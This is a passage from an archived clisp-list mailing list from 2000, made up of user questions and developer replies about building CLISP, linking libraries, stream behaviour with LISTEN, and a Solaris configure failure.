1 exit status . . . It then craps out a few minutes later because lisp.run is missing. I can hand execute that gcc command by adding my ncurses.so.5.0 file to the list of shared libraries. Unfortunately, I can't find where I can make this modification in the Makefile (or wherever it needs to be done). Oh, and yes: [thomg@goodsell clg-0.50]$ /sbin/ldconfig -p | grep ncur libncurses.so.5.0 (libc6) => /usr/lib/libncurses.so.5.0 libncurses.so.5 (libc6) => /usr/lib/libncurses.so.5 libncurses.so.5 (libc6) => /lib/libncurses.so.5 libncurses.so.4.2 (libc6) => /lib/libncurses.so.4.2 libncurses.so.4 (libc6) => /lib/libncurses.so.4 libncurses.so.3.0 (libc5) => /usr/i486-linux-libc5/lib/libncurses.so.3.0 libncurses.so.3.0 (libc6) => /lib/libncurses.so.3.0 libncurses.so.3 (libc6) => /lib/libncurses.so.3 libncurses.so.1.9.9e (libc6) => /lib/libncurses.so.1.9.9e libncurses.so.1 (libc6) => /lib/libncurses.so.1 Any ideas? Thom Goodsell thom.goodsell@usa.net ____________________________________________________________________ Get free email and a permanent address at http://www.amexmail.com/?A=1 From donc@isis.compsvcs.com Fri Mar 24 20:52:35 2000 Received: from isis.compsvcs.com. (cine-dyrad.cinenet.net [198.147.117.71] (may be forged)) by lists.sourceforge.net (8.9.3/8.9.3) with SMTP id UAA28836 for ; Fri, 24 Mar 2000 20:52:34 -0800 Received: by isis.compsvcs.com. (SMI-8.6/SMI-SVR4) id UAA22176; Fri, 24 Mar 2000 20:48:29 -0800 Date: Fri, 24 Mar 2000 20:48:29 -0800 Message-Id: <200003250448.UAA22176@isis.compsvcs.com.> From: donc@compsvcs.com (Don Cohen) To: clisp-list@lists.sourceforge.net Subject: [clisp-list] listen on binary streams? I notice that when I do this (setf (stream-element-type stream) '(unsigned-byte 8)) the function LISTEN always returns NIL. CLHS says of listen: Returns true if there is a character immediately available from input-stream I'd have thought that it would also return true if a byte was available. How am I supposed to find out whether there's a byte available? I notice there's a read-char-no-hang but there seems to be no read-byte-no-hang. From thjwong@alumni.hkucs.org Sun Mar 26 18:28:23 2000 Received: from alumni.hkucs.org (alumni.hkucs.org [202.76.3.129]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id SAA07350 for ; Sun, 26 Mar 2000 18:28:15 -0800 Received: from localhost (thjwong@localhost) by alumni.hkucs.org (8.9.1/8.9.1) with ESMTP id KAA11654; Mon, 27 Mar 2000 10:17:36 +0800 (HKT) Date: Mon, 27 Mar 2000 10:16:29 +0800 (HKT) From: Wong Tsun Hin John To: sds@ksp.com cc: clisp-list@lists.sourceforge.net In-Reply-To: <38DE303C.7A1D2A2B@gnu.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Subject: [clisp-list] Re: CLISP files usage question Thank you for your kind reply. =) I've try out /usr/local/lib/full/lisp.run in xwin but got an error message: ---------------------------------- /usr/local/lib/clisp/full/lisp.run module `clx' requires package XPM. ---------------------------------- I'm sure I have the current xpm library installed. What's the problem? Regards John On Sun, 26 Mar 2000, Sam Steingold wrote: > "John T. H. Wong" wrote: > > > > I've installed clisp and now learning lisp with it. It's fantastic! > > I am glad to hear this! > > > I have one question that i can't find the answer from documentation > > and the web site, i.e. the difference & usage of > > /usr/local/lib/clisp/base and /usr/local/lib/clisp/full > > base is the "base" build, which includes just the basic CL. > fill includes many more modules, the exact set depends on your build. > You can find out the difference by examining the *features* variable. > > What system are you using? How did you build CLISP? > if you did something like > > ./configure --with-module=ABC --with-module=DEF --with-module=GHI > > then base is just the vanilla CL and full contains ABC, DEF and GHI > in addition to the basic CL. > > > Can i remove any one of them? > > they are independent, so you can remove one if you are only using the > other. > > If you are using CLISP, you should subscribe to clisp-list mailing list > and ask > your questions there - this way more people are available to answer them > and you > might benefit from the questions others ask and answer. > Please visit http://clisp.cons.org to subscribe to the list. > > Happy Lisping! > From haible@ilog.fr Mon Mar 27 02:11:47 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA26038 for ; Mon, 27 Mar 2000 02:11:45 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA24750 for ; Mon, 27 Mar 2000 12:02:38 +0200 (MET DST) Received: from halles.ilog.fr ([172.17.4.107]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA17139; Mon, 27 Mar 2000 12:05:28 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by halles.ilog.fr (8.8.5/8.8.5) id MAA15935; Mon, 27 Mar 2000 12:05:27 +0200 (MET DST) Date: Mon, 27 Mar 2000 12:05:27 +0200 (MET DST) Message-Id: <200003271005.MAA15935@halles.ilog.fr> To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] listen on binary streams? In-Reply-To: <200003250448.UAA22176@isis.compsvcs.com.> References: <200003250448.UAA22176@isis.compsvcs.com.> Don Cohen writes: > I notice that when I do this > (setf (stream-element-type stream) '(unsigned-byte 8)) > the function LISTEN always returns NIL. > CLHS says of listen: > Returns true if there is a character immediately available from input-stream Yuck. Reading a character and reading a byte are different things. In previous versions, clisp behaved as you expected, because characters were 1 byte long. > I'd have thought that it would also return true if a byte was > available. How am I supposed to find out whether there's a byte > available? There is no standardized function that permits you to do so. Bruno From haible@ilog.fr Mon Mar 27 02:16:12 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id CAA28995 for ; Mon, 27 Mar 2000 02:16:10 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA24898; Mon, 27 Mar 2000 12:06:31 +0200 (MET DST) Received: from halles.ilog.fr ([172.17.4.107]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id MAA17587; Mon, 27 Mar 2000 12:09:21 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by halles.ilog.fr (8.8.5/8.8.5) id MAA15969; Mon, 27 Mar 2000 12:09:19 +0200 (MET DST) Date: Mon, 27 Mar 2000 12:09:19 +0200 (MET DST) Message-Id: <200003271009.MAA15969@halles.ilog.fr> To: Wong Tsun Hin John Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP files usage question In-Reply-To: References: <38DE303C.7A1D2A2B@gnu.org> Wong Tsun Hin John writes: > > Thank you for your kind reply. =) > I've try out /usr/local/lib/full/lisp.run in xwin but got an error > message: > ---------------------------------- > /usr/local/lib/clisp/full/lisp.run > module `clx' requires package XPM. > ---------------------------------- The documented way to use a particular binary (see clisp.1 and clisp.html) is through the "-K" option. Please try: clisp -K full Bruno From sds@gnu.org Mon Mar 27 07:11:31 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id HAA07983 for ; Mon, 27 Mar 2000 07:11:30 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id H3AN5S5G; Mon, 27 Mar 2000 10:05:13 -0500 To: Wong Tsun Hin John Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Re: CLISP files usage question References: Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Wong Tsun Hin John's message of "Sun Mar 26 21:22:07 EST 2000" Date: 27 Mar 2000 10:05:12 -0500 Message-ID: Lines: 33 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message >>>> On the subject of "[clisp-list] Re: CLISP files usage question" >>>> Sent on Sun Mar 26 21:22:07 EST 2000 >>>> Honorable Wong Tsun Hin John writes: >> Thank you for your kind reply. =) >> I've try out /usr/local/lib/full/lisp.run in xwin but got an error >> message: >> ---------------------------------- >> /usr/local/lib/clisp/full/lisp.run you are supposed to use the wrapper /usr/local/bin/clisp to run CLISP, try `clisp --help` (you want -K option) >> module `clx' requires package XPM. >> ---------------------------------- >> >> I'm sure I have the current xpm library installed. What's the problem? please specify - OS type and version (e.g., Solaris 2.5.1, Linux 2.2.4) - in case of Linux, the distribution name and version (e.g., RedHat 5.1) - CLISP version (e.g., 2000-03-06) and type (release or snapshot, if unsure, specify the place where you got it from) - How you compiled CLISP (the exact command line) - How you installed XMP Thanks. -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Don't use force -- get a bigger hammer. From don@baja.nichimen.com Mon Mar 27 11:47:10 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA18030 for ; Mon, 27 Mar 2000 11:46:51 -0800 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id LAA22802; Mon, 27 Mar 2000 11:40:46 -0800 (PST) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id LAA18928; Mon, 27 Mar 2000 11:40:46 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 27 Mar 2000 11:40:46 -0800 (PST) From: don@nichimen.com (Don Cohen) To: Bruno Haible Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] listen on binary streams? In-Reply-To: <200003271005.MAA15935@halles.ilog.fr> References: <200003250448.UAA22176@isis.compsvcs.com.> <200003271005.MAA15935@halles.ilog.fr> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14559.46664.55782.690797@santorini> Bruno Haible Don Cohen writes: > I notice that when I do this > (setf (stream-element-type stream) '(unsigned-byte 8)) > the function LISTEN always returns NIL. > CLHS says of listen: > Returns true if there is a character immediately available from input-stream Yuck. Reading a character and reading a byte are different things. In previous versions, clisp behaved as you expected, because characters were 1 byte long. > I'd have thought that it would also return true if a byte was > available. How am I supposed to find out whether there's a byte > available? There is no standardized function that permits you to do so. Bruno Even in previous versions it seems to me that characters could not always be one byte long, due to newline encoding. If you see a CR but nothing more, you can't say there's a character ready, cause you don't know whether it will be followed by LF. Depending on the next character you either want read-char to return #\return or #\newline. Or do you take another approach here? I suggest that when the stream element type is not character, the listen function still return true if there is enough data available to return the next element. It's hard to believe that was not the intention of the spec. At the moment the way I (try to) see whether there is any data on my stream is to set the stream element type to character and listen. Unfortunately, it looks to me like that may fail in the CR case above. From sds@gnu.org Tue Mar 28 11:28:23 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA31766 for ; Tue, 28 Mar 2000 11:28:22 -0800 Received: from SAM.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id H3AN5T3A; Tue, 28 Mar 2000 14:21:54 -0500 To: clisp-list@lists.sourceforge.net Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold Date: 28 Mar 2000 14:21:43 -0500 Message-ID: Lines: 19 Subject: [clisp-list] win32 registry editing with clisp when removing a package under win32, one has to manually(!!!) remove all references to the package from the registry (this is not always necessary, but I found that it might be - for some packages). clisp provides sys::registry which looks in HKEY_LOCAL_MACHINE only and supports only strings. It would be nice if sys::registry were exported and took wildcards/regexps as either argument, and if it were setfable. I cannot do it - I know nothing about the win32 API... [some time ago I discussed making sys::getenv setfable with Bruno. I don't remember why, but Bruno was opposed to it - Bruno, if you changed your mind, I will gladly do it :-] -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Binaries die but source code lives forever. From marcoxa@galileo.parades.rm.cnr.it Thu Mar 30 09:16:53 2000 Received: from leonardo.parades.rm.cnr.it (leonardo.parades.rm.cnr.it [150.146.37.11]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA07353 for ; Thu, 30 Mar 2000 09:16:51 -0800 Received: from galileo.parades.rm.cnr.it (galileo [150.146.37.100]) by leonardo.parades.rm.cnr.it (8.9.3/8.9.0) with ESMTP id TAA12839 for ; Thu, 30 Mar 2000 19:10:15 +0200 (MET DST) Received: (from marcoxa@localhost) by galileo.parades.rm.cnr.it (8.8.8+Sun/8.8.8) id TAA09873; Thu, 30 Mar 2000 19:13:04 +0200 (MET DST) Date: Thu, 30 Mar 2000 19:13:04 +0200 (MET DST) Message-Id: <200003301713.TAA09873@galileo.parades.rm.cnr.it> X-Authentication-Warning: galileo.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net Reply-to: marcoxa@galileo.parades.rm.cnr.it Subject: [clisp-list] CLisp configure and ANSI C compilers Hi I am trying to compile the latest release from the source on a Solaris 2.5.1 system. I am trying to use both SUNSWPro cc and gcc 2.7.2.2. However, as soon as I issue the configure command marcoxa@galileo:clisp 80> ./configure --prefix=$HOME executing src/configure ... creating cache ./config.cache checking for gcc... cc checking whether the C compiler (cc ) works... yes checking whether the C compiler (cc ) is a cross-compiler... no checking whether we are using GNU C... no checking how to run the C preprocessor... /usr/ccs/lib/cpp checking for AIX... no checking whether using GNU C... no checking whether using C++... no checking whether using ANSI C... no I.e. somehow the C compiler is not recognized as ANSI. Doing a 'setenv CC "gcc -ansi"' does not help either. The configuration process completes without problems, however, when I finally 'cd' into the 'src' directory and issue makemake .... I get Pre-ANSI-C compilers are not supported. which would seem to be a direct consequence of configuration process. I did try many times by removing all the config.cache and config.status, but couldn't get past the initial "error". Any idea about how to fix this? Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From sds@gnu.org Thu Mar 30 11:27:21 2000 Received: from venus.kstream.com (venus.kstream.com [38.156.71.12]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA11984 for ; Thu, 30 Mar 2000 11:27:21 -0800 Received: from ksp.com.ksp.com (sam [10.100.100.57]) by venus.kstream.com with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2448.0) id H3AN54N4; Thu, 30 Mar 2000 14:20:50 -0500 Sender: sds@ksp.com To: marcoxa@galileo.parades.rm.cnr.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp configure and ANSI C compilers References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> Return-Receipt-To: sds@gnu.org Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: Marco Antoniotti's message of "Thu Mar 30 13:23:09 EST 2000" Date: 30 Mar 2000 14:20:39 -0500 Message-ID: Lines: 18 X-Mailer: Gnus v5.7/Emacs 20.6 >>>> In message <200003301713.TAA09873@galileo.parades.rm.cnr.it> >>>> On the subject of "[clisp-list] CLisp configure and ANSI C compilers" >>>> Sent on Thu Mar 30 13:23:09 EST 2000 >>>> Honorable Marco Antoniotti writes: >> >> I am trying to compile the latest release from the source on a Solaris >> 2.5.1 system. I am trying to use both SUNSWPro cc and gcc 2.7.2.2. I just built the current snapshot on solaris 2.5.1 with gcc 2.95.2, the binary distribution is available in ftp://cellar.goems.com/ftp/pub/clisp/ this, of course, doesn't answer your question... -- Sam Steingold (http://www.podval.org/~sds) Micros**t is not the answer. Micros**t is a question, and the answer is Linux, (http://www.linux.org) the choice of the GNU (http://www.gnu.org) generation. Why do we want intelligent terminals when there are so many stupid users? From haible@ilog.fr Thu Mar 30 11:44:24 2000 Received: from sceaux.ilog.fr (sceaux.ilog.fr [193.55.64.10]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id LAA12709 for ; Thu, 30 Mar 2000 11:44:23 -0800 Received: from laposte.ilog.fr (laposte [172.17.1.6]) by sceaux.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA21895; Thu, 30 Mar 2000 21:34:57 +0200 (MET DST) Received: from oberkampf.ilog.fr ([172.17.4.30]) by laposte.ilog.fr (8.9.3/8.9.3) with ESMTP id VAA24037; Thu, 30 Mar 2000 21:37:47 +0200 (MET DST) From: Bruno Haible Received: (from haible@localhost) by oberkampf.ilog.fr (8.9.2/8.9.2) id VAA07633; Thu, 30 Mar 2000 21:37:46 +0200 (MET DST) Date: Thu, 30 Mar 2000 21:37:46 +0200 (MET DST) Message-Id: <200003301937.VAA07633@oberkampf.ilog.fr> To: marcoxa@galileo.parades.rm.cnr.it Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] CLisp configure and ANSI C compilers In-Reply-To: <200003301713.TAA09873@galileo.parades.rm.cnr.it> References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> Marco Antoniotti writes: > > Hi > > I am trying to compile the latest release from the source on a Solaris > 2.5.1 system. I am trying to use both SUNSWPro cc and gcc 2.7.2.2. > > However, as soon as I issue the configure command > > marcoxa@galileo:clisp 80> ./configure --prefix=$HOME > executing src/configure ... > creating cache ./config.cache > checking for gcc... cc > checking whether the C compiler (cc ) works... yes > checking whether the C compiler (cc ) is a cross-compiler... no > checking whether we are using GNU C... no > checking how to run the C preprocessor... /usr/ccs/lib/cpp > checking for AIX... no > checking whether using GNU C... no > checking whether using C++... no > checking whether using ANSI C... no This is a little bit odd. The SUNWspro cc _is_ an ANSI C compiler. I get on SPARC Solaris 2.5.1, with CC set to "cc": creating cache ./config.cache checking for gcc... cc checking whether the C compiler (cc ) works... yes checking whether the C compiler (cc ) is a cross-compiler... no checking whether we are using GNU C... no checking how to run the C preprocessor... cc -E checking for AIX... no checking whether using GNU C... no checking whether using C++... no checking whether using ANSI C... yes > I.e. somehow the C compiler is not recognized as ANSI. A look in config.log should reveal why. > Doing a 'setenv CC "gcc -ansi"' does not help either. And simply not setting CC at all? Should find gcc and use it. > I did try many times by removing all the config.cache and > config.status, but couldn't get past the initial "error". To really remove all traces from previous builds, I recommend "make distclean". config.cache and config.status are the most important files to remove, but there are some others. Other than that, you should be able to use the Solaris binaries in ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/ ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ (Solaris 2.4 binaries are usable on Solaris 2.5.1 or newer. But not on Solaris 2.5, because that release lacks the support for clisp's generational GC.) Bruno From marcoxa@parades.rm.cnr.it Thu Mar 30 23:19:22 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id XAA07166 for ; Thu, 30 Mar 2000 23:19:20 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id JAA11048; Fri, 31 Mar 2000 09:10:54 +0200 (MET DST) Date: Fri, 31 Mar 2000 09:10:54 +0200 (MET DST) Message-Id: <200003310710.JAA11048@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: haible@ilog.fr CC: clisp-list@lists.sourceforge.net In-reply-to: <200003301937.VAA07633@oberkampf.ilog.fr> (message from Bruno Haible on Thu, 30 Mar 2000 21:37:46 +0200 (MET DST)) Subject: Re: [clisp-list] CLisp configure and ANSI C compilers Reply-to: marcoxa@parades.rm.cnr.it References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> <200003301937.VAA07633@oberkampf.ilog.fr> > Delivery-Date: Thu, 30 Mar 2000 21:38:10 +0200 > From: Bruno Haible > Date: Thu, 30 Mar 2000 21:37:46 +0200 (MET DST) > Cc: clisp-list@lists.sourceforge.net > Sender: clisp-list-admin@lists.sourceforge.net > X-Mailman-Version: 1.1 > Precedence: bulk > List-Id: CLISP user discussion > X-BeenThere: clisp-list@lists.sourceforge.net > > Marco Antoniotti writes: > > > > Hi > > > > I am trying to compile the latest release from the source on a Solaris > > 2.5.1 system. I am trying to use both SUNSWPro cc and gcc 2.7.2.2. > > > > However, as soon as I issue the configure command > > > > marcoxa@galileo:clisp 80> ./configure --prefix=$HOME > > executing src/configure ... > > creating cache ./config.cache > > checking for gcc... cc > > checking whether the C compiler (cc ) works... yes > > checking whether the C compiler (cc ) is a cross-compiler... no > > checking whether we are using GNU C... no > > checking how to run the C preprocessor... /usr/ccs/lib/cpp > > checking for AIX... no > > checking whether using GNU C... no > > checking whether using C++... no > > checking whether using ANSI C... no > > This is a little bit odd. The SUNWspro cc _is_ an ANSI C compiler. I get > on SPARC Solaris 2.5.1, with CC set to "cc": I agree. It is very odd. > A look in config.log should reveal why. Not really. > > Doing a 'setenv CC "gcc -ansi"' does not help either. > > And simply not setting CC at all? Should find gcc and use it. That's the first thing I tried. > > I did try many times by removing all the config.cache and > > config.status, but couldn't get past the initial "error". > > To really remove all traces from previous builds, I recommend "make > distclean". > config.cache and config.status are the most important files to remove, but > there are some others. Ok. Let me try that. > > Other than that, you should be able to use the Solaris binaries in > > ftp://clisp.cons.org/pub/lisp/clisp/binaries/2000-03-06/ > ftp://clisp.sourceforge.net/pub/clisp/2000-03-06/ > > (Solaris 2.4 binaries are usable on Solaris 2.5.1 or newer. But not on > Solaris 2.5, because that release lacks the support for clisp's generational > GC.) Good. If worse comes to worse, I will just grab the binaries. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From marcoxa@parades.rm.cnr.it Thu Mar 30 23:20:44 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id XAA07230 for ; Thu, 30 Mar 2000 23:20:36 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id JAA11061; Fri, 31 Mar 2000 09:12:35 +0200 (MET DST) Date: Fri, 31 Mar 2000 09:12:35 +0200 (MET DST) Message-Id: <200003310712.JAA11061@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: haible@ilog.fr CC: clisp-list@lists.sourceforge.net In-reply-to: <200003301937.VAA07633@oberkampf.ilog.fr> (message from Bruno Haible on Thu, 30 Mar 2000 21:37:46 +0200 (MET DST)) Subject: Re: [clisp-list] CLisp configure and ANSI C compilers Reply-to: marcoxa@parades.rm.cnr.it References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> <200003301937.VAA07633@oberkampf.ilog.fr> > To really remove all traces from previous builds, I recommend "make > distclean". config.cache and config.status are the most important > files to remove, but there are some others. Ooops. I just realized that I did not generate the Makefile :) Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From marcoxa@parades.rm.cnr.it Thu Mar 30 23:59:51 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id XAA08196 for ; Thu, 30 Mar 2000 23:56:50 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id JAA24856; Fri, 31 Mar 2000 09:48:41 +0200 (MET DST) Date: Fri, 31 Mar 2000 09:48:41 +0200 (MET DST) Message-Id: <200003310748.JAA24856@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: <200003310712.JAA11061@copernico.parades.rm.cnr.it> (message from Marco Antoniotti on Fri, 31 Mar 2000 09:12:35 +0200 (MET DST)) Subject: Re: [clisp-list] CLisp configure and ANSI C compilers Reply-to: marcoxa@parades.rm.cnr.it References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> <200003301937.VAA07633@oberkampf.ilog.fr> <200003310712.JAA11061@copernico.parades.rm.cnr.it> Arcana discovered. By looking at the autoconf/*.m4 files, I got the hint to look at the CPP checks (in particular to AC_EGREP_CPP check called by CL_CC_ANSI). It turns I had a CPP environment variable set to /usr/css/lib/cpp, the Sun CPP. Somehow this CPP made the system fail the ANSI test. Removing the variable from the environment cause the configure script to use 'gcc -E' as C preprocessor, and the ANSI check succeded. Let's see if I will be able to generate the Makefile and compile now. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From marcoxa@parades.rm.cnr.it Fri Mar 31 00:06:13 2000 Received: from copernico.parades.rm.cnr.it (copernico.parades.rm.cnr.it [150.146.37.21]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id AAA08576 for ; Fri, 31 Mar 2000 00:06:12 -0800 Received: (from marcoxa@localhost) by copernico.parades.rm.cnr.it (8.9.3/8.9.0) id JAA29732; Fri, 31 Mar 2000 09:58:12 +0200 (MET DST) Date: Fri, 31 Mar 2000 09:58:12 +0200 (MET DST) Message-Id: <200003310758.JAA29732@copernico.parades.rm.cnr.it> X-Authentication-Warning: copernico.parades.rm.cnr.it: marcoxa set sender to marcoxa@parades.rm.cnr.it using -f From: Marco Antoniotti To: clisp-list@lists.sourceforge.net In-reply-to: <200003310748.JAA24856@copernico.parades.rm.cnr.it> (message from Marco Antoniotti on Fri, 31 Mar 2000 09:48:41 +0200 (MET DST)) Subject: Re: [clisp-list] CLisp configure and ANSI C compilers Reply-to: marcoxa@parades.rm.cnr.it References: <200003301713.TAA09873@galileo.parades.rm.cnr.it> <200003301937.VAA07633@oberkampf.ilog.fr> <200003310712.JAA11061@copernico.parades.rm.cnr.it> <200003310748.JAA24856@copernico.parades.rm.cnr.it> One more data point. With SUNSWPro cc I get the following warnings. touch tests.passed.sparc-sun-solaris2.5.1 cc -I. -I../../ffcall/callback -S ../../ffcall/callback/minitests.c "../../ffcall/callback/tests.c", line 107: warning: initializer does not fit or is out of range: -1 "../../ffcall/callback/tests.c", line 274: warning: initializer does not fit or is out of range: -1 "../../ffcall/callback/tests.c", line 399: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 409: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 410: warning: non-constant initializer: op "+=" ... more of the same "../../ffcall/callback/tests.c", line 703: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 704: warning: non-constant initializer: op "+=" cc -I. -I../../ffcall/callback -c ../../ffcall/callback/minitests.c "../../ffcall/callback/tests.c", line 107: warning: initializer does not fit or is out of range: -1 "../../ffcall/callback/tests.c", line 274: warning: initializer does not fit or is out of range: -1 "../../ffcall/callback/tests.c", line 399: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 409: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 410: warning: non-constant initializer: op "+=" ... more of the same... "../../ffcall/callback/tests.c", line 703: warning: non-constant initializer: op "+=" "../../ffcall/callback/tests.c", line 704: warning: non-constant initializer: op "+=" /bin/sh ./libtool --mode=link cc minitests.o libcallback.la -o minitests cc minitests.o .libs/libcallback.a -o minitests ./minitests > minitests.out Just to let you know. Cheers -- Marco Antoniotti =========================================== PARADES, Via San Pantaleo 66, I-00186 Rome, ITALY tel. +39 - 06 68 10 03 17, fax. +39 - 06 68 80 79 26 http://www.parades.rm.cnr.it/~marcoxa From don@baja.nichimen.com Mon Apr 3 09:54:46 2000 Received: from baja.nichimen.com (baja.nichimen.com [204.31.88.62]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id JAA11529 for ; Mon, 3 Apr 2000 09:54:46 -0700 Received: from santorini (santorini [204.31.88.209]) by baja.nichimen.com (8.9.3/8.9.3) with SMTP id JAA25728 for ; Mon, 3 Apr 2000 09:48:22 -0700 (PDT) Received: by santorini (950413.SGI.8.6.12//ident-1.0) id JAA26061; Mon, 3 Apr 2000 09:48:21 -0700 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Date: Mon, 3 Apr 2000 09:48:21 -0700 (PDT) From: don@nichimen.com (Don Cohen) To: clisp-list@lists.sourceforge.net In-Reply-To: <200004031628.JAA25626@santorini> References: <200004031628.JAA25626@santorini> X-Mailer: VM 6.43 under 20.4 "Emerald" XEmacs Lucid Message-ID: <14568.51796.542103.400101@santorini> Subject: [clisp-list] various questions related to clisp - what common lisp implementations other than clisp don't have multithreading - If I donate to clocc something specifically useful for such implementations is there any point to generalizing it beyond clisp? - what's the difference between the clisp license and the GPL? I see the difference in the text but I'm having a hard time understanding the implications. - does clisp run on any machines that support larger than 32 bit address spaces? (other than in a mode that restricts it to 32 bit address space, of course); what are the prospects? I've been hoping for many years now that something like 64 bit VM would make ap5 useful for what is now the domain of "real" databases. Probably the real question is whether the GC will work well for such cases. Any ideas? From toy@rtp.ericsson.se Mon Apr 3 10:02:58 2000 Received: from gwa.ericsson.com (gwa.ericsson.com [198.215.127.2]) by lists.sourceforge.net (8.9.3/8.9.3) with ESMTP id KAA11987 for ; Mon, 3 Apr 2000 10:02:57 -0700 Received: from mr4.exu.ericsson.se (mr4a.ericsson.com 